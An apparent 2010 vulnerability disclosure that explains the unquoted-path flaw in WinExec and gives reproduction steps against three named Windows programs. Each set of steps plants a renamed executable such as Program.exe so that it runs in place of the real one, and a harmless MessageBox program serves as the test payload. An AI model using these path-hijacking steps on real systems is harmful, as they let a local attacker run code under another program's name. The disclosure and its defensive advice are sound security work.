[STRELiTZIA]

Hi,

The executable name is treated as the first white space-delimited string in lpCmdLine.
If the executable or path name has a space in it, there is a risk that a different executable could be run
because of the way the function parses spaces.

The following example is dangerous because the function will attempt to run "Program.exe", if it exists, instead of "MyApp.exe".
WinExec("C:\\Program Files\\MyApp", ...)

If a malicious user were to create an application called "Program.exe" on a system, any program that incorrectly calls WinExec
using the Program Files directory will run this application instead of the intended application.

To avoid this problem, use CreateProcess rather than WinExec.
However, if you must use WinExec for legacy reasons, make sure the application name is enclosed
in quotation marks as shown in the example below.
WinExec("\"C:\\Program Files\\MyApp.exe\" -L -S", ...)

Microsoft has already warned there are flaws in the "BAD" use of CommandLine option
function affecting the paths that have spaces.

Vulnerability still exists:

====================================================
= KASPERSKY UPDATER GUI COMMANDLINE VULNERABILITY =
====================================================

Exploit Title : [Commandline vulnerability]
Date : [27 Oct 2010]
Author : [STRELiTZIA]
Software : [Kaspersky Updater GUI 2.2.0.72]
Tested on : [Windows Xp SP3]

============================
= Instructions =
============================
1- Unzip "gui_for_win_updater_v2.2.0.72.zip" into "C" drive.
2- Rename "gui_for_win_updater_v2.2.0.72" folder to "Test gui_for_win_updater"
2- Copy "Test.exe" into "C" drive.

You can also rename "Test.exe" to:
C:\Test (Without extension)

============================
= Tests =
============================
- Launch "KasperskyUpdater.exe".
- Check Kaspersky lab products.
- Click "Apply".
- Click "Start".

============================
= Test Source =
============================
program Test;
uses
Windows;

begin
MessageBox
(
0,
'Warning, vulnerability detected ;)',
'Exploit test',
MB_ICONERROR
)
end.

====================================================
= SAFE RETURNER COMMANDLINE VULNERABILITY =
====================================================

Exploit Title : [Commandline vulnerability]
Date : [27 Oct 2010]
Author : [STRELiTZIA]
Software : [Safe Returner 1.27.5]
Tested on : [Windows Xp SP3]

============================
= Instructions =
============================
1- Copy "Test.exe" into "Program Files" directory.
2- Rename "Test.exe" to "Safe.exe"

You can also rename "Test.exe" to:
C:\Program (Without extension)
C:\Program.exe
C:\Program Files\Safe (Without extension)
C:\Program Files\Safe.exe

============================
= Tests =
============================
- Launch SafeReturner.exe.
- Goto "Scan tab", then click "Scan".

============================
= Test Source =
============================
program Test;
uses
Windows;

begin
MessageBox
(
0,
'Warning, vulnerability detected :)',
'Exploit test',
MB_ICONERROR
)
end.

====================================================
= WINMOUNT COMMANDLINE VULNERABILITY =
====================================================

Exploit Title : [Commandline vulnerability]
Date : [27 Oct 2010]
Author : [STRELiTZIA]
Software : [WinMount 3.4.1020 Final]
Tested on : [Windows Xp SP3]

============================
= Instructions =
============================
1- Copy "Test.exe" into "C" drive.
2- Rename "Test.exe" to "Program.exe"

You can also rename "Test.exe" to:
C:\Program (Without extension)

============================
= Tests =
============================
- Launch "WinMount.exe".
- Goto "Browser tab" -->> "Advance".
- Goto "Help Menu" -->> "Bug Reporter".

============================
= Test Source =
============================
program Test;
uses
Windows;

begin
MessageBox
(
0,
'Warning, vulnerability detected ;)',
'Exploit test',
MB_ICONERROR
)
end.

Regards.